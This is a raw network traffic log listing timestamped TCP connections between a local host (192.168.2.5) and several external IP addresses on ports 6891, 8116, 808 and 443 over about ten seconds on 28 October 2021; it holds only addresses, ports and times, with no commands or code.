Oct 28, 2021 04:47:13.514447927 CEST	50051	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:13.564625025 CEST	808	50049	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:13.603055000 CEST	6891	50050	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:13.603163958 CEST	6891	50050	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:13.604645014 CEST	50050	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:13.605334997 CEST	50050	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:13.608612061 CEST	50050	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:13.608894110 CEST	50050	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:13.679945946 CEST	6891	50051	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:13.682707071 CEST	50051	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:13.695283890 CEST	50051	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:13.774116039 CEST	6891	50050	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:13.774400949 CEST	6891	50050	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:13.860683918 CEST	6891	50051	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:13.860774994 CEST	6891	50051	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:13.862317085 CEST	50051	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:13.863814116 CEST	50051	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:13.867599010 CEST	50051	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:13.867731094 CEST	50051	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:14.032999039 CEST	6891	50051	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:14.033023119 CEST	6891	50051	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:14.154691935 CEST	6891	50050	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:14.154719114 CEST	6891	50050	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:14.170074940 CEST	50050	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:14.214644909 CEST	50050	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:14.380209923 CEST	6891	50050	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:14.411592007 CEST	6891	50051	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:14.411617994 CEST	6891	50051	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:14.422699928 CEST	50051	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:14.434741020 CEST	50051	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:14.448344946 CEST	50052	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:14.502265930 CEST	8116	50052	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:14.505068064 CEST	50052	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:14.508635044 CEST	50052	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:14.550103903 CEST	50053	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:14.562386036 CEST	8116	50052	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:14.562561989 CEST	8116	50052	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:14.586030960 CEST	50052	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:14.587469101 CEST	50052	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:14.591063023 CEST	50052	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:14.591156006 CEST	50052	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:14.600022078 CEST	6891	50051	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:14.610042095 CEST	8116	50053	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:14.645673990 CEST	8116	50052	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:14.645694017 CEST	8116	50052	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:14.687895060 CEST	50053	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:14.696810007 CEST	50053	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:14.756709099 CEST	8116	50053	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:14.756992102 CEST	8116	50053	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:14.757060051 CEST	50053	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:14.757823944 CEST	50053	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:14.760709047 CEST	50053	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:14.760828972 CEST	50053	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:14.815854073 CEST	8116	50052	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:14.815880060 CEST	8116	50052	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:14.820599079 CEST	8116	50053	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:14.820620060 CEST	8116	50053	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:14.826453924 CEST	50052	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:14.833482981 CEST	50052	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:14.887461901 CEST	8116	50052	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:14.966095924 CEST	50054	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:14.966141939 CEST	443	50054	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:14.966495991 CEST	50054	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:14.967267990 CEST	50054	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:14.967299938 CEST	443	50054	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:14.992719889 CEST	8116	50053	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:14.992743015 CEST	8116	50053	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:14.993254900 CEST	50053	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:15.436278105 CEST	50053	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:15.455703020 CEST	443	50054	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:15.466078997 CEST	50054	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:15.485873938 CEST	50054	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:15.485893965 CEST	443	50054	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:15.491251945 CEST	50054	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:15.491290092 CEST	443	50054	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:15.491368055 CEST	50054	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:15.491396904 CEST	443	50054	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:15.496257067 CEST	8116	50053	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:15.559053898 CEST	50055	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:15.559112072 CEST	443	50055	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:15.559196949 CEST	50055	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:15.559792995 CEST	50055	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:15.559808016 CEST	443	50055	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:16.056653976 CEST	443	50055	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:16.069924116 CEST	50055	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:16.178798914 CEST	443	50054	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:16.178869009 CEST	443	50054	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:16.192092896 CEST	50054	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:16.658725977 CEST	50055	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:16.658757925 CEST	443	50055	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:16.663659096 CEST	50055	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:16.663682938 CEST	443	50055	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:16.663743973 CEST	50055	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:16.663758039 CEST	443	50055	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:16.669725895 CEST	50054	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:16.669775009 CEST	443	50054	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:17.306760073 CEST	50056	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:17.353600979 CEST	443	50055	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:17.353811026 CEST	50055	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:17.353816986 CEST	443	50055	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:17.353898048 CEST	50055	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:17.359913111 CEST	50055	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:17.359956980 CEST	443	50055	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:17.466698885 CEST	808	50056	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:17.466830969 CEST	50056	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:17.467380047 CEST	50056	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:17.580075026 CEST	50057	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:17.626877069 CEST	808	50056	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:17.626998901 CEST	808	50056	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:17.627100945 CEST	50056	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:17.627688885 CEST	50056	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:17.632246971 CEST	50056	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:17.632373095 CEST	50056	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:17.741801977 CEST	808	50057	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:17.741982937 CEST	50057	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:17.750756025 CEST	50057	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:17.787220955 CEST	808	50056	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:17.791964054 CEST	808	50056	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:17.791984081 CEST	808	50056	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:17.791992903 CEST	808	50056	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:17.792004108 CEST	808	50056	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:17.912511110 CEST	808	50057	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:17.912615061 CEST	808	50057	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:17.914424896 CEST	50057	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:17.914452076 CEST	50057	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:17.918723106 CEST	50057	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:17.918837070 CEST	50057	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:18.076117992 CEST	808	50057	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:18.080327988 CEST	808	50057	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:18.080352068 CEST	808	50057	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:18.080364943 CEST	808	50057	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:18.080375910 CEST	808	50057	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:18.080388069 CEST	808	50057	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:18.173079967 CEST	808	50056	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:18.173113108 CEST	808	50056	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:18.173180103 CEST	50056	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:18.173209906 CEST	50056	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:18.181546926 CEST	50056	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:18.302781105 CEST	50058	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:18.341557026 CEST	808	50056	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:18.460691929 CEST	808	50057	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:18.460717916 CEST	808	50057	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:18.461565971 CEST	50057	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:18.464685917 CEST	50057	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:18.468183994 CEST	6891	50058	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:18.468281031 CEST	50058	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:18.468944073 CEST	50058	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:18.587449074 CEST	50059	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:18.626594067 CEST	808	50057	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:18.634231091 CEST	6891	50058	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:18.634351015 CEST	6891	50058	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:18.634413004 CEST	50058	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:18.634917021 CEST	50058	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:18.639718056 CEST	50058	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:18.639842033 CEST	50058	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:18.753876925 CEST	6891	50059	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:18.753994942 CEST	50059	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:18.760808945 CEST	50059	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:18.809547901 CEST	6891	50058	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:18.809566975 CEST	6891	50058	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:18.809578896 CEST	6891	50058	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:18.927002907 CEST	6891	50059	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:18.927089930 CEST	6891	50059	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:18.927189112 CEST	50059	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:18.933890104 CEST	50059	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:18.936745882 CEST	50059	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:18.936878920 CEST	50059	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:19.102974892 CEST	6891	50059	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:19.102993965 CEST	6891	50059	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:19.103004932 CEST	6891	50059	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:19.187448025 CEST	6891	50058	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:19.187480927 CEST	6891	50058	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:19.187591076 CEST	50058	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:19.187647104 CEST	50058	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:19.193542004 CEST	50058	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:19.327234030 CEST	50061	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:19.359525919 CEST	6891	50058	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:19.380640984 CEST	8116	50061	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:19.380728006 CEST	50061	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:19.384047985 CEST	50061	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:19.437150955 CEST	8116	50061	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:19.437436104 CEST	8116	50061	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:19.437524080 CEST	50061	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:19.440656900 CEST	50061	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:19.444662094 CEST	50061	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:19.444773912 CEST	50061	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:19.497945070 CEST	8116	50061	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:19.498142958 CEST	6891	50059	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:19.498162985 CEST	6891	50059	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:19.498199940 CEST	50059	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:19.498224974 CEST	50059	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:19.501074076 CEST	50059	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:19.629411936 CEST	50062	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:19.667360067 CEST	6891	50059	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:19.668989897 CEST	8116	50061	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:19.669022083 CEST	8116	50061	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:19.669070005 CEST	50061	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:19.669102907 CEST	50061	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:19.675255060 CEST	50061	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:19.682679892 CEST	8116	50062	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:19.682801962 CEST	50062	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:19.683872938 CEST	50062	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:19.729759932 CEST	8116	50061	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:19.736552954 CEST	8116	50062	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:19.736924887 CEST	8116	50062	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:19.737006903 CEST	50062	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:19.737663984 CEST	50062	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:19.741455078 CEST	50062	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:19.741600037 CEST	50062	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:19.794195890 CEST	8116	50062	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:19.794230938 CEST	8116	50062	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:19.801125050 CEST	50063	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:19.801167965 CEST	443	50063	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:19.801251888 CEST	50063	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:19.803844929 CEST	50063	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:19.803869009 CEST	443	50063	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:19.965872049 CEST	8116	50062	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:19.965897083 CEST	8116	50062	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:19.966018915 CEST	50062	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:19.968885899 CEST	50062	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:20.021615028 CEST	8116	50062	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:20.114509106 CEST	50064	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:20.114552975 CEST	443	50064	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:20.114685059 CEST	50064	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:20.115804911 CEST	50064	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:20.115825891 CEST	443	50064	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:20.295540094 CEST	443	50063	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:20.295646906 CEST	50063	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:20.296122074 CEST	50063	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:20.296132088 CEST	443	50063	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:20.299612045 CEST	50063	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:20.299638033 CEST	443	50063	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:20.299688101 CEST	50063	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:20.299707890 CEST	443	50063	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:20.630774021 CEST	443	50064	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:20.631004095 CEST	50064	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:20.631572962 CEST	50064	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:20.631588936 CEST	443	50064	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:20.635173082 CEST	50064	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:20.635194063 CEST	443	50064	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:20.635319948 CEST	50064	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:20.635341883 CEST	443	50064	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:20.990669966 CEST	443	50063	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:20.990758896 CEST	443	50063	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:20.990874052 CEST	50063	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:20.990888119 CEST	50063	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:20.996920109 CEST	50063	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:20.996944904 CEST	443	50063	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:21.145750046 CEST	50066	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:21.304461956 CEST	808	50066	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:21.305016041 CEST	50066	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:21.305834055 CEST	50066	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:21.342164993 CEST	443	50064	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:21.342248917 CEST	443	50064	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:21.342278004 CEST	50064	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:21.342308998 CEST	50064	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:21.350171089 CEST	50064	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:47:21.350203037 CEST	443	50064	192.46.210.220	192.168.2.5
Oct 28, 2021 04:47:21.464435101 CEST	808	50066	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:21.464592934 CEST	808	50066	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:21.464716911 CEST	50066	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:21.465130091 CEST	50066	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:21.467921972 CEST	50067	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:21.479635000 CEST	50066	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:21.479737043 CEST	50066	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:21.623534918 CEST	808	50066	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:21.637254000 CEST	808	50067	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:21.637541056 CEST	50067	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:21.638115883 CEST	808	50066	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:21.638251066 CEST	808	50066	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:21.639870882 CEST	50067	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:21.809144020 CEST	808	50067	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:21.809252977 CEST	808	50067	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:21.809349060 CEST	50067	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:21.809772015 CEST	50067	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:21.812872887 CEST	50067	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:21.812975883 CEST	50067	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:21.980907917 CEST	808	50067	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:21.982531071 CEST	808	50067	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:21.982566118 CEST	808	50067	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:21.982603073 CEST	808	50067	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:21.982620001 CEST	808	50067	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:22.017240047 CEST	808	50066	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:22.017267942 CEST	808	50066	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:22.017402887 CEST	50066	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:22.027036905 CEST	50066	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:22.140672922 CEST	50069	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:22.186719894 CEST	808	50066	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:22.306413889 CEST	6891	50069	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:22.306545973 CEST	50069	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:22.307379007 CEST	50069	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:22.358450890 CEST	808	50067	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:22.358488083 CEST	808	50067	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:22.358582020 CEST	50067	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:22.360833883 CEST	50067	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:47:22.472100019 CEST	50071	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:22.474325895 CEST	6891	50069	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:22.474411011 CEST	6891	50069	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:22.474483013 CEST	50069	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:22.474909067 CEST	50069	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:22.477627993 CEST	50069	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:22.477744102 CEST	50069	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:22.530208111 CEST	808	50067	143.244.140.214	192.168.2.5
Oct 28, 2021 04:47:22.657557011 CEST	6891	50069	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:22.657584906 CEST	6891	50069	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:22.762172937 CEST	6891	50071	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:22.762259007 CEST	50071	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:22.764008045 CEST	50071	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:23.029215097 CEST	6891	50071	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:23.029366016 CEST	6891	50071	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:23.029460907 CEST	50071	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:23.031435966 CEST	50071	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:23.034414053 CEST	50071	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:23.034518003 CEST	50071	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:23.034910917 CEST	6891	50069	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:23.034944057 CEST	6891	50069	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:23.035042048 CEST	50069	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:23.042237043 CEST	50069	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:47:23.169662952 CEST	50072	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:23.209470987 CEST	6891	50069	45.77.0.96	192.168.2.5
Oct 28, 2021 04:47:23.221090078 CEST	8116	50072	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:23.221214056 CEST	50072	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:23.221745014 CEST	50072	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:23.272835970 CEST	8116	50072	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:23.273062944 CEST	8116	50072	185.56.219.47	192.168.2.5
Oct 28, 2021 04:47:23.273173094 CEST	50072	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:23.273688078 CEST	50072	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:23.276681900 CEST	50072	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:47:23.276751041 CEST	50072	8116	192.168.2.5	185.56.219.47
